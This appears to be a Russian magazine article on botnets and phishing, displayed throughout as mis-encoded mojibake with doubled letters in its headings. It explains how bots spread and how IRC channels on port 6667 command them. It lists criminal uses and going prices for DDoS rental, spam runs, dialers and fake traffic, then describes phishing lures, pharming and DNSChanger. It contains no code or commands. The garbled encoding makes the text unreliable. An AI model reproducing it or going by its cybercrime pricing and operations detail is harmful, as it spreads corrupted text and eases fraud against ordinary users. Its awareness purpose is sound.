ïíûå êîìïàíèè êàê Caterpillar, CNN, eBay è Micro-
soft. È óãðîçà ðàñïðîñòðàíåíèÿ çîìáè-ñåòåé ïî-
ñòîÿííî ðàñòåò. Êîëè÷åñòâî íîâûõ øòàììîâ (ðàç-
íîâèäíîñòåé) áîò-âèðóñîâ òîëüêî çà 2005 ãîä óâå-
ëè÷èëîñü íà 538%.

Íåóäèâèòåëüíî, ÷òî èìåííî áîò-ñåòè ÿâëÿþò-
ñÿ îñíîâíûìè öåíòðàìè ïðèòÿæåíèÿ êðóïíûõ ôè-
íàíñîâûõ ïîòîêîâ òåíåâîãî âèðòóàëüíîãî ðûíêà.
Îñîáûé èíòåðåñ äëÿ óìåëüöåâ ïðåäñòàâëÿþò ìà-
øèíû, èìåþùèå âûñîêîñêîðîñòíîå ïîäêëþ÷åíèå
ê Ñåòè, ïîòîìó êàê ñ èõ ïîìîùüþ ãîðàçäî ïðîùå 
è ýôôåêòèâíåå îðãàíèçîâàòü àòàêó íà äðóãèå ñå-
òåâûå ðåñóðñû. Ïðîòèâîäåéñòâîâàòü òàêîìó ìàñ-
ñîâîìó ðàñïðîñòðàíåíèþ áîò-ñåòåé êðàéíå ñëîæ-
íî. Êðóïíóþ ñåòü èç «êîìïüþòåðîâ-çîìáè» ìîæíî
ñîçäàòü çà íåäåëþ-äâå. À íà åå îáíàðóæåíèå 
è íåéòðàëèçàöèþ ìîãóò ïîòðåáîâàòüñÿ ìåñÿöû ðà-

áîòû. Âûéòè æå íà âëàäåëüöà áîò-ñåòè — åùå áî-
ëåå òðóäíîâûïîëíèìàÿ çàäà÷à. 

Óãðîçà ñî ñòîðîíû áîò-ñåòåé ïîñòîÿííî ðà-
ñòåò. Êàæäûé äåíü èíôèöèðóåòñÿ äî 250000 êîì-
ïüþòåðîâ, êîòîðûå ïðåâðàùàþòñÿ â íîâûõ çîìáè.
Ïî ñòàòèñòèêå, â Ñåòè ïîñòîÿííî çàðàæåííûìè êà-
êèì-ëèáî âèäîì âèðóñà ÿâëÿþòñÿ îêîëî 7% êîì-
ïüþòåðîâ, ýòî îêîëî 47 ìèëëèîíîâ èç 681 ìèëëèî-
íà ïîäêëþ÷åííûõ ê Ñåòè êîìïüþòåðîâ ïî âñåìó
ìèðó. Ïî äàííûì àíòèâèðóñíîé êîìïàíèè McAfee,
â 2005 ãîäó â èíòåðíåòå áûëà çàôèêñèðîâàíà äåÿ-
òåëüíîñòü 28 òûñÿ÷ áîò-ñåòåé — ýòî â òðè ðàçà
áîëüøå, ÷åì â 2004 ãîäó. Ïîòåðè òîëüêî àìåðè-
êàíñêèõ êîìïàíèé îò ïðåñòóïëåíèé â êîìïüþòåð-
íîé ñôåðå ñîñòàâèëè 197 ìèëëèàðäîâ äîëëàðîâ, è
ëüâèíàÿ äîëÿ çäåñü ïðèíàäëåæèò áîò-ñåòÿì...

ìåõàíèçìû ððàñïðîñòðàíåíèÿ ááîòîâ. Çëîóìû-
øëåííèê ìîæåò ïðèìåíÿòü è êîìáèíèðîâàòü ëþ-
áûå èç ïåðå÷èñëåííûõ íèæå òåõíèê ðàñïðîñòðà-
íåíèÿ áîòîâ.

1  ×åðåç âåá è ýëåêòðîííóþ ïî÷òó. Ðàçëè÷-
íûå âåá-ñàéòû, íàìåðåííî èëè áåç çëîãî óìû-
ñëà, ñîäåðæàò â ñåáå âðåäîíîñíûé êîä, êîòîðûé
çàãðóæàåòñÿ íà ìàøèíó ïîëüçîâàòåëÿ â ìîìåíò
çàãðóçêè ñàéòà. ×òî êàñàåòñÿ ðàñïðîñòðàíåíèÿ
èñïîëíÿåìûõ áîò-ôàéëîâ ïî ýëåêòðîííîé ïî÷òå —

òî ýòî íàèáîëåå óäîáíûé è áûñòðûé ñïîñîá ðàñïðî-
ñòðàíåíèÿ. Øèðîêàÿ ðàñïðîñòðàíåíííîñòü ñïàì-
ðàññûëîê îáåñïå÷èâàåò ýòîìó ñïîñîáó «ìàññî-
âûé îõâàò».

2  Çàãðóçêà ïðîãðàììíîãî îáåñïå÷åíèÿ èç íå-
ïðîâåðåííûõ èñòî÷íèêîâ. Î÷åíü ÷àñòî çàðàæåíèå
ïðîèñõîäèò ïðè çàãðóçêå ïðîãðàììíîãî îáåñïå÷å-
íèÿ èç ïîäîçðèòåëüíûõ è íåèçâåñòíûõ èñòî÷íèêîâ.
Îñîáåííî ýòî êàñàåòñÿ ðàçëè÷íûõ áåñïëàòíûõ óòè-
ëèò, êîòîðûå íåðåäêî ïèøóòñÿ ñàìèìè æå çëîóìû-
øëåííèêàìè è çàòåì èñïîëüçóþòñÿ èìè â êà÷åñòâå
ïðèìàíêè. Òàê, íàïðèìåð, êëèåíòñêàÿ ÷àñòü íåêî-
òîðûõ P2P-ñåòåé çàãðóæàåòñÿ âìåñòå ñî øïèîí-
ñêèì è ðåêëàìíûì ïðîãðàììíûì îáåñïå÷åíèåì. 

3  Èñïîëüçîâàíèå óÿçâèìîñòåé â ñèñòåìàõ. 
Â ïåðâûõ äâóõ âàðèàíòàõ ïðåäïîëàãàåòñÿ íåïî-
ñðåäñòâåííîå ó÷àñòèå ïîëüçîâàòåëÿ. Òî åñòü, òåî-
ðåòè÷åñêè, ïðîäâèíóòûé ïîëüçîâàòåëü, îáëàäàþ-
ùèé çäîðîâîé äîëåé ïàðàíîéè, ìîæåò ñ÷àñòëèâî
èçáåæàòü çàðàæåíèÿ ïðè ïîìîùè òàêèõ òåõíèê.
Òîãäà íà ïîìîùü çëîóìûøëåííèêàì ïðèõîäÿò
äðóãèå ìåòîäû, êîòîðûå íå òðåáóþò îò âëàäåëüöà
ìàøèíû íèêàêèõ äåéñòâèé. Â ïðàêòè÷åñêè ëþáîé
êîìïüþòåðíîé ñèñòåìå åñòü õîòÿ áû îäíà óÿçâè-
ìîñòü, êîòîðàÿ ìîæåò áûòü èñïîëüçîâàíà äëÿ çà-
ãðóçêè íà ìàøèíó òðîÿíñêîé ïðîãðàììû, áîòà èëè

ÁÎÒÍÅÒ
ÊÎÌÏÜÞÒÅÐÛ ÄÎÌÀØÍÈÕ ÏÎËÜÇÎÂÀÒÅËÅÉ – ËÀÊÎÌÛÉ ÊÓÑÎÊ ÄËß ÇËÎÓÌÛØËÅÍÍÈÊÎÂ,
ÏÎÑÊÎËÜÊÓ ÏÎÄÀÂËßÞÙÅÅ ÁÎËÜØÈÍÑÒÂÎ ÒÀÊÈÕ ÑÈÑÒÅÌ ÐÀÁÎÒÀÅÒ ÏÎÄ ÓÏÐÀÂËÅÍÈÅÌ
MICROSOFT WINDOWS È ×ÀÑÒÎ ÍÅ ÎÁÍÎÂËßÅÒÑß ÂÎÂÐÅÌß (ÅÑËÈ ÎÁÍÎÂËßÅÒÑß ÂÎÎÁÙÅ) 

noname

ààããååííòòóóððííààÿÿ ññååòòüü

28 ØÊÎËÀ ÁÎÉÖÀ ÑÏÅÖ 09-06



äðóãîãî âðåäîíîñíîãî ÏÎ. Çëîóìûøëåííèê ìîæåò
ïðîèçâîäèòü ñêàíèðîâàíèå âûáðàííîãî äèàïàçî-
íà IP-àäðåñîâ êàê âðó÷íóþ, òàê è ïðè ïîìîùè àâ-
òîìàòèçèðîâàííûõ ñðåäñòâ. Àâòîìàòè÷åñêîå ñêà-
íèðîâàíèå Ñåòè ñ öåëüþ ïîèñêà ìàøèí ñ êàêîé-
ëèáî êîíêðåòíîé óÿçâèìîñòüþ ïîìîãëî òàêèì
âñåì èçâåñòíûì âèðóñàì, êàê CodeRed, Mydoom è
Sql Slammer ðàñïðîñòðàíèòüñÿ è çàðàçèòü ìèëëèî-
íû êîìïüþòåðîâ. Äëÿ ðàñïðîñòðàíåíèÿ èñïîëíÿå-
ìûõ áîò-ôàéëîâ èñïîëüçóþòñÿ òå æå ñàìûå ìåòî-
äû. Åñëè òû ïîñìîòðèøü íà òîï-20 ñàìûõ ðàñïðî-
ñòðàíåííûõ óãðîç, òî óâèäèøü, ÷òî ïîðÿäêà 30%
ýòèõ óãðîç ñîñòàâëÿþò âðåäîíîñíûå ïðîãðàììû
äëÿ ñîçäàíèÿ áîò-ñåòåé (MYTOB, BKDR_IRCBOT,
PERL_SHELLBOT è äðóãèå).

êîìàíäîâàíèå ààðìèåé. Îáû÷íî äëÿ îðãàíè-
çàöèè áîò-ñåòè èñïîëüçóþòñÿ IRC-êàíàë èëè P2P-
ñåòü. Íàèáîëåå ïîïóëÿðíûì è ïðîñòûì ñðåäñòâîì
äëÿ îðãàíèçàöèè áîò-ñåòè ÿâëÿåòñÿ IRC (Internet
Relay Chat). Ýòî äîâîëüíî ïîïóëÿðíàÿ ÷àò-ñèñòåìà,
ðàáîòàþùàÿ ïî ïðèíöèïó êëèåíò-ñåðâåðíîé ìîäå-
ëè. IRC-ñåðâåð ïîçâîëÿåò ïîäêëþ÷åííûì êëèåíòàì
îáùàòüñÿ, èñïîëüçóÿ IRC-ïðîòîêîë, êàê ÷åðåç ñåð-
âåð, òàê è óñòàíàâëèâàÿ ñîåäèíåíèå íàïðÿìóþ.

Ñõåìà ðàáîòû áîëüøèíñòâà áîò-ñåòåé â îá-
ùåì âèäå âûãëÿäèò ïðèìåðíî ñëåäóþùèì îáðà-
çîì. Áîò ïîäêëþ÷àåòñÿ ê îïðåäåëåííîìó IRC-êàíà-
ëó íà IRC-ñåðâåðå è îæèäàåò äàëüíåéøèõ êîìàíä.
Îáû÷íî ïîäêëþ÷åíèå çàðàæåííîãî êîìïüþòåðà ê
IRC-êàíàëó îñóùåñòâëÿåòñÿ ÷åðåç ïîðò 6667 (ýòî
ïîðò, êîòîðûé ïî óìîë÷àíèþ èñïîëüçóåòñÿ äëÿ
ïîäêëþ÷åíèÿ ê IRC), íî ìîæåò èñïîëüçîâàòüñÿ è
äðóãîé ïîðò, åñëè àòàêóþùèé çàäàåòñÿ öåëüþ çà-
òðóäíèòü îáíàðóæåíèå ñëåäîâ ñâîåé äåÿòåëüíîñòè.
Öåííûì ïðåèìóùåñòâîì IRC ÿâëÿåòñÿ òî, ÷òî òà-
êèå ñåðâåðû íàõîäÿòñÿ â ñâîáîäíîì äîñòóïå, è èõ
ïðîñòî íàñòðîèòü, ê òîìó æå îíè øèðîêî ðàñïðî-
ñòðàíåíû ïî âñåé Ñåòè.

óïðàâëåíèå ááîò-ññåòüþ. Èñïîëíÿåìàÿ ÷àñòü
áîòà íàñòðàèâàåòñÿ äëÿ âõîäà â ïðåäîïðåäåëåí-
íûå êàíàëû IRC. 

Íà ñåðâåðå ñîçäàåòñÿ îïðåäåëåííûé êàíàë (ê ïðè-
ìåðó, #TESTING). Ïîñëå òîãî êàê íà ìàøèíå æåð-
òâû çàïóùåí ñîîòâåòñòâóþùèé áèíàðíûé ôàéë,
ýòà ìàøèíà ïîäêëþ÷àåòñÿ ê óêàçàííîìó êàíàëó íà
ñåðâåðå è îæèäàåò ïîñòóïëåíèÿ äàëüíåéøèõ êî-
ìàíä îò âëàäåëüöà áîò-ñåòè.

Íåñìîòðÿ íà òî, ÷òî äàííûé áîò íå âûäàåò â
ÿâíîì âèäå ñâîå ïðèñóòñòâèå íà ìàøèíå ïîëüçîâà-
òåëÿ, åãî ìîæíî îáíàðóæèòü ïî ñïèñêó çàïóùåííûõ
ïðîãðàìì è ïî ñòàòèñòèêå ñåòåâûõ ñîåäèíåíèé. 

èñïîëüçîâàíèå ááîò-ññåòåé. Ðàçìåðû áîòíåòîâ
ìîãóò áûòü ðàçíûìè. Â ñðåäíåì ðàçìåð çîìáè-ñåòè
âàðüèðóåòñÿ îò íåñêîëüêèõ ñîòåí äî íåñêîëüêèõ òû-
ñÿ÷ ìàøèí. Íî èçâåñòíû òàêæå áîò-ñåòè ðàçìåðîì
30, 50 òûñÿ÷ ìàøèí è áîëåå. Åñòü äàííûå î áîò-ñåòè
(Phatbot), îáúåäèíÿþùåé 400 òûñÿ÷ (!) ìàøèí.

Êàêîé òðàôèê ìîæåò ãåíåðèðîâàòü áîò-ñåòü?
Åñëè âçÿòü áîò-ñåòü èç 1000 ìàøèí ñ ïîëîñîé ïðî-
ïóñêàíèÿ ïîðÿäêà 128 Êáèò/ñåê, òî íåòðóäíî ïîñ÷è-
òàòü, ÷òî âñå âìåñòå ýòè êîìïüþòåðû â ñîñòîÿíèè
ãåíåðèðîâàòü òðàôèê áîëåå 100 Ìáèò/ñåê. Áîëåå
êðóïíîé áîò-ñåòè äîñòàòî÷íî ìåíüøåé ïðîïóñêíîé
ñïîñîáíîñòè êàæäîãî êàíàëà â îòäåëüíîñòè. Ñåòü
èç 50000 ìàøèí ñî ñêîðîñòüþ ïîäêëþ÷åíèÿ 50
Êá/ñåê ìîæåò ãåíåðèðîâàòü òðàôèê äî 300 Ìá/ñåê.

Ìåõàíèçìû, êîòîðûå áîò-ñåòè èñïîëüçóþò
äëÿ ðàñïðîñòðàíåíèÿ — îäíà èç ãëàâíûõ ïðè÷èí
ôîíîâîãî «øóìà» â èíòåðíåòå, îñîáåííî íà 445 è
135 tcp-ïîðòàõ. Òàêèì îáðàçîì ïðîèçâîäèòñÿ ïî-
èñê íîâûõ óÿçâèìûõ ìàøèí, ÷òîáû ïðèñîåäèíèòü
èõ ê áîò-ñåòè.  

Áîò-ñåòü — ýòî èíñòðóìåíò, èñïîëüçóþùèéñÿ
íàèáîëåå ÷àñòî â êà÷åñòâå èíñòðóìåíòà äëÿ ïîëó-
÷åíèÿ äåíåã (ïðÿìî èëè êîñâåííî). Íàèáîëåå ðàñ-

ïðîñòðàíåííûå ñïîñîáû èñïîëüçîâàíèÿ äåéñòâóþ-
ùèõ áîò-ñåòåé âûãëÿäÿò ñëåäóþùèì îáðàçîì.

1  DDoS-àòàêà. Îðãàíèçàöèÿ ýòîãî âèäà àòàêè —
ïîæàëóé, ñàìûé ðàñïðîñòðàíåííûé âèä èñïîëüçî-
âàíèÿ áîò-ñåòåé. Àòàêà ìîæåò ðåàëèçîâûâàòüñÿ
ïðè ïîìîùè îòïðàâêè áîëüøèõ ICMP èëè SYN-ïà-
êåòîâ â Ñåòü, ëèáî ïðîñòî áîëüøîãî êîëè÷åñòâà
îáû÷íûõ http è ftp-çàïðîñîâ ê ñåðâåðó. Ïðè÷èíû,
ïî êîòîðûì îáû÷íî çàòåâàþòñÿ DDoS-àòàêè, ìîãóò
áûòü ðàçëè÷íûìè: øàíòàæ, âûìîãàòåëüñòâî, íå-
÷åñòíàÿ êîíêóðåíòíàÿ áîðüáà è ò.ä. DDoS-àòàêè íå
îáÿçàòåëüíî áûâàþò íàïðàâëåíû òîëüêî íà âåá-
ñåðâåðû: ëþáîé èíòåðíåò-ñåðâèñ ìîæåò áûòü óÿç-
âèì ê ýòîìó òèïó íàïàäåíèÿ.

2  Ñîçäàíèå öåïè SMTP relay. Íåêîòîðûå áîòû
îòêðûâàþò SOCKS proxy íà çàðàæåííîì õîñòå, ÷òî
ïîçâîëÿåò îñóùåñòâèòü äîñòóï ÷åðåç ïðîêñè-ñåð-
âåð (ñ öåëüþ ìàñêèðîâêè ñëåäîâ). Òàêàÿ ìàøèíà
ìîæåò èñïîëüçîâàòüñÿ äëÿ ðàññûëêè ñïàìà. Èíîã-
äà çàðàæåííûå ìàøèíû, ñîñòàâëÿþùèå áîò-ñåòü,
èñïîëüçóþòñÿ äëÿ õîñòèíãà ôèøèíãîâûõ ñàéòîâ,
óñëîæíÿÿ ïðîöåäóðó âûñëåæèâàíèÿ ìîøåííèêîâ.

3 Ïðîñëóøèâàíèå òðàôèêà. Â áîò-ñåòÿõ òàê-
æå ìîãóò èñïîëüçîâàòüñÿ ñíèôôåðû, ïîçâîëÿþ-
ùèå îòñëåæèâàòü äàííûå, ïåðåäàâàåìûå ïî íåçà-
ùèùåííîìó êàíàëó (clear-text data) è ïðîõîäÿùèå
÷åðåç çàðàæåííóþ ìàøèíó. Êàê ïðàâèëî, öåëüþ
ïðèìåíåíèÿ ñíèôôåðîâ ÿâëÿåòñÿ ïîëó÷åíèå èìåí
ïîëüçîâàòåëåé è ïàðîëåé. Êðîìå òîãî, ñ èõ ïîìî-
ùüþ ìîæíî ïîëó÷èòü èíòåðåñíóþ èíôîðìàöèþ
äðóãîãî ðîäà. ×àñòî áûâàåò òàê, ÷òî çàðàæåííàÿ
ìàøèíà ÿâëÿåòñÿ ÷àñòüþ íå îäíîãî, à äâóõ èëè äà-
æå áîëåå áîòíåòîâ. Â ýòîì ñëó÷àå ñíèôôåð ïîçâî-
ëÿåò ñîáèðàòü èíôîðìàöèþ î «êîíêóðåíòå»

ÏÐÈÁÛËÜ ÎÒ ÈÑÏÎËÜÇÎÂÀ-
ÍÈß ÁÎÒ-ÑÅÒÅÉ

DDoS ââ ààðåíäó
Öèôðû ìîãóò äîâîëüíî ñèëüíî âàðüèðî-
âàòüñÿ, íî ÷àùå âñòðå÷àåòñÿ ïðèìåðíî
100$ çà ÷àñ DDoS-àòàêè, îðãàíèçîâàííîé
ïðè ïîìîùè çîìáè-ñåòè èç 10000 ìàøèí
(www.spamdailynews.com/publish/Organiz-
ed_crime_offers_rent-a-zombie_deals.asp).

êðàæà ííîìåðîâ ññ÷åòîâ, ââêëþ÷àÿ ííîìåðà
êðåäèòíûõ êêàðò èè ääðóãèõ ôôèíàíñîâûõ ääàííûõ
Åñëè âåðèòü äàííûì FTC (Ôåäåðàëüíàÿ
òîðãîâàÿ êîìèññèÿ ÑØÀ), òî ñðåäíÿÿ ñòîè-
ìîñòü êðàæè èäåíòèôèêàöèîííûõ äàííûõ
ñîñòàâëÿåò ïîðÿäêà 4800$ äëÿ êîìïàíèè è

500$ äëÿ îòäåëüíî âçÿòîãî èíäèâèäóóìà
(www.ftc.gov/opa/2003/09/idtheft.htm). Âðÿä
ëè èìååò ñìûñë âûñ÷èòûâàòü ñðåäíþþ
ïðèáûëü, êîòîðóþ ìîæåò ïîëó÷àòü ìîøåí-
íèê îò èñïîëüçîâàíèÿ óêðàäåííîé èíôîð-
ìàöèè. Ýòî çàâèñèò è îò êâàëèôèêàöèè ìî-
øåííèêà, è îò òîãî, íàñêîëüêî äàëåêî îí
ãîòîâ çàéòè â ïîãîíå çà ïðèáûëüþ. Êàê ïðà-
âèëî, íîìåðà êðåäèòíûõ êàðò èñïîëüçóþò-
ñÿ çëîóìûøëåííèêàìè íå äëÿ îáíàëè÷èâà-
íèÿ ñðåäñòâ, à äëÿ îïëàòû óñëóã ÷åðåç èí-
òåðíåò (íàïðèìåð, õîñòèíãà). ×àñòî ýòî äå-
ëàåòñÿ ÷åðåç ïîäñòàâíîå ëèöî.

ñïàì-ððàññûëêà
Ñðåäíÿÿ ñòîèìîñòü ñïàì-ðàññûëêè â Ðîñ-
ñèè ñîñòàâëÿåò îò 100 äî 200$ (ýòî îõâàò

áàçû ïðèìåðíî â 150000 ýëåêòðîííûõ àä-
ðåñîâ). Îñîáî öåíÿòñÿ «íåçàñâåòèâøèå-
ñÿ» IP-àäðåñà, êîòîðûå ïîêà íå ïîìåùåíû
â «÷åðíûé ñïèñîê», ïîñêîëüêó îòäà÷à îò
ðàññûëîê ñ òàêèõ «÷èñòûõ» àäðåñîâ ãî-
ðàçäî âûøå.

ïðîãðàììû ääîçâîíà
Ìíîãèå ïî-ïðåæíåìó èñïîëüçóþò dial-up
ñîåäèíåíèå äëÿ äîñòóïà â èíòåðíåò. Òàêîé
âèä ñâÿçè — íèçêîñêîðîñòíîé è âðÿä è ìî-
æåò áûòü ïîëåçåí äëÿ îðãàíèçàöèè DDoS-
àòàêè, íî è èç íåãî, ïðè æåëàíèè, ìîæíî èç-
âëå÷ü îïðåäåëåííóþ ïðèáûëü. Â äàííîì
ñëó÷àå íîìåð äîçâîíà ìîæåò ïîäìåíÿòüñÿ
íà òåëåôîí êàêîé-ëèáî ïëàòíîé ñëóæáû, à
ïðèáûëü çäåñü çàâèñèò îò îïåðàòèâíîñòè

îáíàðóæåíèÿ «íåïîëàäîê» ñ äîçâîíîì è òà-
ðèôà íà çâîíêè â ýòó ñëóæáó.

ãåíåðàöèÿ ïïîëüçîâàòåëüñêîãî òòðàôèêà
Ñòîèìîñòü óñëóã ïî ãåíåðàöèè ïîëüçîâà-
òåëüñêîãî òðàôèêà ñîñòàâëÿåò ïðèìåðíî
$150 çà 1000 çàãðóçîê. Â ýòîì ñëó÷àå áîò-
ñåòü ïîëó÷àåò êîìàíäó âûïîëíèòü 1000 ðàç
çàãðóçêó íåêîãî html-ôàéëà ïîñëå ïðåäâà-
ðèòåëüíîãî òåìàòè÷åñêîãî çàïðîñà â  èí-
òåðíåò (â êàòàëîãè èëè ïîèñêîâóþ ñèñòå-
ìó). Ýòî äàåò ïîëüçîâàòåëüñêèé òðàôèê,
êîòîðûé ìîæíî èñïîëüçîâàòü äëÿ ïîâûøå-
íèÿ èíäåêñà öèòèðóåìîñòè ñàéòà â ïîèñêî-
âûõ ñèñòåìàõ èëè ïîëó÷åíèÿ ñðåäñòâ çà
ïðîñìîòð ðåêëàìíûõ áàííåðîâ â ñëó÷àå
ïëàòû çà ïîêàç. 
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Êåâèí Ìèòíèê â ñâîåé êíèãå «Èñêóññòâî îáìàíà»
ïèøåò î òîì, ÷òî êàæäûé ÷åëîâåê, íåçàâèñèìî îò
åãî ñîöèàëüíîãî ïîëîæåíèÿ è óðîâíÿ îáðàçîâà-
íèÿ, ñîçíàòåëüíî èëè ïîäñîçíàòåëüíî õî÷åò áûòü
ïîëåçíûì, è ýòî îäíà èç ñòîðîí ÷åëîâå÷åñêîãî
ñîçíàíèÿ, íà êîòîðîé èãðàþò ìîøåííèêè. Äðóãàÿ
«ñëàáîñòü» — ýòî ÷àñòî âñòðå÷àþùååñÿ áåçîãî-
âîðî÷íîå äîâåðèå ïîëüçîâàòåëåé êàêîìó-ëèáî
áðåíäó, ìàðêå è ò.ï. Ïîëó÷àÿ ñîîáùåíèå, íàïðè-
ìåð, îò áàíêà, óñëóãàìè êîòîðîãî ïîëüçóåòñÿ àä-
ðåñàò, ñ ïðåäëîæåíèåì ââåñòè â ôîðìó äàííûå
ñâîåãî áàíêîâñêîãî ñ÷åòà, ÷åëîâåê, íå çàäóìûâà-
ÿñü, îòäàåò êðèòè÷íóþ ôèíàíñîâóþ èíôîðìàöèþ
ïðÿìèêîì â ðóêè ìîøåííèêîâ.

Ôèøèíã — ñàìàÿ ðàñïðîñòðàíåííàÿ ôîðìà
ñîöèàëüíîãî èíæèíèðèíãà, êîòîðàÿ íàèáîëåå ÷à-
ñòî èñïîëüçóåò â êà÷åñòâå êàíàëà ïðîíèêíîâåíèÿ
ê ïîëüçîâàòåëþ ýëåêòðîííóþ ïî÷òó. Eñëè òâîé ýëåê-
òðîííûé àäðåñ «çàñâåòèëñÿ», è òû ïîïàë â áàçó
ñïàì-ðàññûëêè, òû ïîëó÷àåøü n-íîå êîëè÷åñòâî
ñïàì-ñîîáùåíèé â ñóòêè, è, êàê ìèíèìóì, 2 èç íèõ
ÿâëÿþòñÿ òèïè÷íûìè ïðåäñòàâèòåëÿìè èíäóñòðèè

ôèøèíãà. Êðîìå ðàñïðîñòðàíåíèÿ ÷åðåç ýëåê-
òðîííóþ ïî÷òó, ôèøåðû âñå ÷àùå ïðèáåãàþò ê ïî-
ìîùè òàêèõ êàíàëîâ ðàñïðîñòðàíåíèÿ êàê IRC, èí-
òåðíåò-ïåéäæåðû è âåá-ñòðàíèöû. 

Áîëåå ñîâåðøåííàÿ ìîäåëü ôèøèíãà ïîëó-
÷èëà íàçâàíèå ôàðìèíã. Ýòî îòíîñèòåëüíî íîâûé
è ïðîãðåññèâíûé ìåòîä õèùåíèÿ èäåíòèôèêàöèîí-
íûõ äàííûõ ïîëüçîâàòåëåé. Åãî ñóòü â òîì, ÷òî
ïîëüçîâàòåëè àâòîìàòè÷åñêè ïåðåíàïðàâëÿþòñÿ
íà ôàëüøèâûå ñàéòû. Â îòëè÷èå îò òðàäèöèîííîãî
ôèøèíãà, íîâûé ìåòîä õèùåíèÿ äàííûõ ïî÷òè íå
òðåáóåò ó÷àñòèÿ æåðòâû. Ïîëüçîâàòåëè ìîãóò ñòàòü
æåðòâîé ôàðìèíãà â ñèëó óÿçâèìîñòåé áðàóçåðîâ,
êîòîðûå ïîçâîëÿþò ðàçìåùàòü â àäðåñíîé ñòðîêå
ôàëüøèâûå àäðåñà ñàéòîâ, óÿçâèìîñòåé îïåðàöè-
îííûõ ñèñòåì è óÿçâèìîñòåé DNS-ñåðâåðîâ. 

ýëåêòðîííàÿ ïïî÷òà. Êàê âûãëÿäèò îáû÷íîå
ôèøèíã-ñîîáùåíèå, êîòîðîå ïîëó÷àåò ïîëüçîâà-

òåëü ïî ýëåêòðîííîé ïî÷òå? Âîò íåñêîëüêî ñòàí-
äàðòíûõ ôðàç, âñòðå÷àþùèõñÿ ïî÷òè âî âñåõ ñî-
îáùåíèÿõ òàêîãî òèïà:

— ÏÎÄÒÂÅÐÄÈÒÅ ÄÀÍÍÛÅ Î ÂÀØÅÌ Ñ×ÅÒÅ.

— ÅÑËÈ ÂÛ ÍÅ ÎÒÂÅÒÈÒÅ ÍÀ ÄÀÍÍÎÅ 
ÑÎÎÁÙÅÍÈÅ, Â ÒÅ×ÅÍÈÅ 48 ×ÀÑÎÂ ÂÀØ
Ñ×ÅÒ ÁÓÄÅÒ ÀÍÍÓËÈÐÎÂÀÍ.

— ÊËÈÊÍÈÒÅ ÑÑÛËÊÓ, ×ÒÎÁÛ ÏÎËÓ×ÈÒÜ
ÄÎÑÒÓÏ Ê ÂÀØÅÌÓ ÀÊÊÀÓÍÒÓ. 

Íè îäèí áàíê èëè ïëàòåæíàÿ ñèñòåìà íå ïîëüçóåò-
ñÿ ïîäîáíûì ñïîñîáîì ñâÿçè ñ òîáîé, ÷òîáû îáíî-
âèòü òâîè äàííûå, à òåì áîëåå íå òðåáóåò òàêèì îá-
ðàçîì ââîäèòü ïàðîëè, èìåíà ïîëüçîâàòåëåé è êà-
êóþ-ëèáî äðóãóþ ëè÷íóþ èíôîðìàöèþ. ×àñòî îá-
ùèé òîí ôèøèíã-ñîîáùåíèÿ èëè åãî çàãîëîâîê ïîä-

ÔÈØÈÍÃ
×ÅËÎÂÅ×ÅÑÊÈÉ ÐÅÑÓÐÑ ÂÑÅÃÄÀ ÁÛË È ÎÑÒÀÅÒÑß ÑÀÌÛÌ ÂÀÆÍÛÌ, ÍÎ È, ÂÌÅÑÒÅ Ñ ÒÅÌ,
ÑÀÌÛÌ ÊÐÈÒÈ×ÍÛÌ ÇÂÅÍÎÌ Â ËÞÁÎÉ, ÄÀÆÅ ÑÀÌÎÉ ÒÅÕÍÎËÎÃÈ×ÅÑÊÈ ÑÎÂÅÐØÅÍÍÎÉ
ÖÅÏÈ. ÍÀ ÐÀÇÐÀÁÎÒÊÅ ÒÀÊÈÕ ÂÎÒ «ÏÐÎÑÒÛÕ ×ÅËÎÂÅ×ÅÑÊÈÕ ÑËÀÁÎÑÒÅÉ» È ÎÑÍÎÂÀÍ
ÌÅÒÎÄ ÑÎÖÈÀËÜÍÎÉ ÈÍÆÅÍÅÐÈÈ, ÊÎÒÎÐÛÉ ÑÎÑÒÀÂËßÅÒ 95% ÓÑÏÅÕÀ ÏÐÎÂÅÄÅÍÈß
ÔÈØÈÍÃ-ÀÒÀÊÈ 

NONAME

ëëîîââëëÿÿ 
ííàà ææèèââööàà



òàëêèâàþò ïîëüçîâàòåëÿ ïðåäïðèíèìàòü äåéñòâèÿ
íåçàìåäëèòåëüíî è íå ðàçäóìûâàÿ, ãðîçÿ íåìåä-
ëåííîé ïðèîñòàíîâêîé îáñëóæèâàíèÿ è ò.ï.

÷åðåç ââåá. Âñå áîëüøóþ ïîïóëÿðíîñòü ïðèî-
áðåòàþò ìåòîäû, íå òðåáóþùèå «çàìàíèâàíèÿ»
ïîëüçîâàòåëÿ íà âåá-ñòðàíèöó â îáÿçàòåëüíîì
ïîðÿäêå, à «ðàáîòàþùèå» ñ ïîëüçîâàòåëÿìè, ïå-
ðåõîäÿùèìè îò ñòðàíèöû ê ñòðàíèöå â Ñåòè. Ýòî
ìîæåò áûòü:

— ÌÀÑÊÈÐÎÂÊÀ ÑÑÛËÎÊ. ÑÑÛËÊÈ, 
ÑÏÐßÒÀÍÍÛÅ ÏÎÄ ÊÀÐÒÈÍÊÎÉ, 
ÏÎÄÌÅÍÀ ÑÈÌÂÎËÎÂ Â ÑÑÛËÊÀÕ 
ÍÀ ÑÕÎÆÈÅ (ÑÈÌÂÎËÛ ÈÇ ÄÐÓÃÎÃÎ 
ÐÅÃÈÑÒÐÀ ÈËÈ ÄÐÓÃÎÃÎ ßÇÛÊÀ). 

— ÈÑÏÎËÜÇÎÂÀÍÈÅ ÏÎÄÄÅËÜÍÛÕ 
ÁÀÍÍÅÐÎÂ È ÂÑÏËÛÂÀÞÙÈÕ ÎÊÎÍ.

— ÈÑÏÎËÜÇÎÂÀÍÈÅ ÓßÇÂÈÌÎÑÒÅÉ 
ÁÐÀÓÇÅÐÀ.

— ÇÀÏÈÑÜ ÈÄÅÍÒÈÔÈÊÀÖÈÎÍÍÎÉ 
ÈÍÔÎÐÌÀÖÈÈ ÏÎËÜÇÎÂÀÒÅËß 
Â ÏÐÎÖÅÑÑÅ ÂÂÎÄÀ ÄÀÍÍÛÕ 
ÍÀ ËÅÃÈÒÈÌÍÎÌ ÑÀÉÒÅ. 

ïðèìåð: DDNSChanger.eg. Äàííàÿ àòàêà ïðåä-
ïîëàãàåò ðàçðóøåíèå ïðîöåññà ïðåîáðàçîâàíèÿ
èìåíè äîìåíà â ôàêòè÷åñêèé âåá-ñàéò. Êîãäà
ïîëüçîâàòåëü ââîäèò àäðåñ, íàïðèìåð, «jpmor-
gan.com», ñîñòîÿùèé èç òåêñòîâîé ñòðîêè, åãî
